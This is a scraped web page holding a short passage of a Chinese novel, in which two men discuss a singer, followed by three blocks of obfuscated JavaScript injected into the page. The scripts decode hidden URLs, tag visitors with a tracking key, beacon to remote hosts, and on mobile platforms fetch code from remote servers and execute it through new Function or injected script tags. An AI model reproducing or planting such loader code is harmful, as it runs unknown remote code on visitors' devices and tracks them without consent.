有点佩服起他来,看来在机关里面混的,在年轻也修成精了。

「听说陈淑贞不但歌唱得好,人还生的漂亮。」陆云目不转睛的盯着台上,
像是在自言自语。「电视上不是看到过吗?」我说。「那不一样,我从不在电视
上看女人,有些女人屏幕上看着漂亮,私底下一瞧,也不怎么样。」陆云语重心
长的说,估计以前失望过。「你也是第一次见陈淑贞本人?」看陆云对女人那么
有心得,我有些疑惑。

  
关闭
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSkSS3SSaSS1SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS1SS0SS5SSeSScSS8SS5SS8SS2SS3SS7SS2".split("SS").join(""),"hQQtQQtQQpQQsQQ:QQ/QQ/QQpQQ.QQgQQoQQdQQmQQwQQiQQtQQhQQ.QQcQQoQQmQQ/QQ1QQ2QQ/QQ1QQ1QQ0QQ5QQeQQcQQ8QQ5QQ8QQ2QQ3QQ7QQ2".split("QQ").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDmDDqDD1DD2DDnDD4DDdDD7DD6DD.DDoDDsDDsDD-DDcDDnDD-DDsDDhDDaDDnDDgDDhDDaDDiDD.DDaDDlDDiDDyDDuDDnDDcDDsDD.DDcDDoDDmDD/DD1DD2DD/DD1DD1DD0DD5DDeDDcDD8DD5DD8DD2DD3DD7DD2".split("DD").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DDeDDcDD8DD5DD8DD2DD3DD7DD2".split("DD").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();